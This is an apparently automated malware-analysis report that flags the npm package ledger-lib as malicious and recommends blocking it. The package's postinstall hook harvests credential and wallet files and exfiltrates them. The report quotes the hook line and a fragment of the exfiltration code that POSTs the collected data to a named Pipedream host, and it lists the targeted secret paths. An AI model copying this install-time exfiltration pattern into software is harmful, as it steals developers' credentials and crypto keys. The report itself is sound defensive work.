## Security analysis

### Published attack-surface review

- **Summary:** Installation automatically harvests sensitive files from the installing user's home directory and exfiltrates them. The lifecycle hook needs no user interaction beyond npm install.

- **Trigger:** npm installation executes the postinstall lifecycle hook.

- **Impact:** Theft of npm tokens, cloud credentials, SSH keys, cryptocurrency wallet material, environment secrets, and Git configuration.

- **Evidence paths:** package.json, postinstall.js, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-05T11:09:35.838Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** install-time credential harvesting and HTTPS exfiltration

- **Attack narrative:** On npm installation, package.json invokes postinstall.js. That script gathers named secret-bearing files, scans hidden home directories for likely wallet/key material, adds host and username metadata, then sends the serialized collection by HTTPS POST to a fixed Pipedream endpoint. Errors are suppressed, consistent with covert best-effort harvesting.

- **Rationale:** Direct source inspection confirms an automatic install-time credential and wallet-file exfiltration chain. This is concrete malicious behavior, not a noisy static signal.

- **Files touched:** package.json, postinstall.js, ~/.env, ~/.npmrc, ~/.aws/credentials, ~/.ssh/id\_rsa, ~/.config/solana/id.json, ~/.ethereum/keystore, ~/.gitconfig

- **Network endpoints:** enxhcjpo5ev.x.pipedream.net

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json runs \`node postinstall.js\` during installation., postinstall.js reads environment, cloud, SSH, Solana, Ethereum, npm, and Git credential/config files from the user home directory., postinstall.js scans hidden home directories for key, seed, wallet, JSON, PEM, and KEY files., postinstall.js POSTs collected contents to \`enxhcjpo5ev.x.pipedream.net\`.

- **Evidence against:** index.js is empty; no benign runtime functionality offsets the install-time behavior.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/ledger-lib@1.0.1/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/ledger-lib@1.0.1/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node postinstall.js
```

### 3. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 4. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 5. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 6. High: Trigger Reachable External Post Callback
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** postinstall.js
- **Public source:** [View source](<https://unpkg.com/ledger-lib@1.0.1/postinstall.js>)

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Public source snippet (untrusted):

```javascript
Trigger-reachable fixed external POST callback chain: scripts.postinstall -> postinstall.js
const https = require("https");
const raw = JSON.stringify(loot);
const req = https.request({ hostname: "enxhcjpo5ev.x.pipedream.net", port: 443, path: "/c", method: "POST", headers: {"Content-Type":"application/json","Content-Length":raw.length}...
req.write(raw); req.end();
```

### 7. Medium: Wildcard Dependency
- **Category:** Manifest
- **Confidence:** 80.0%

Package manifest contains a wildcard dependency.
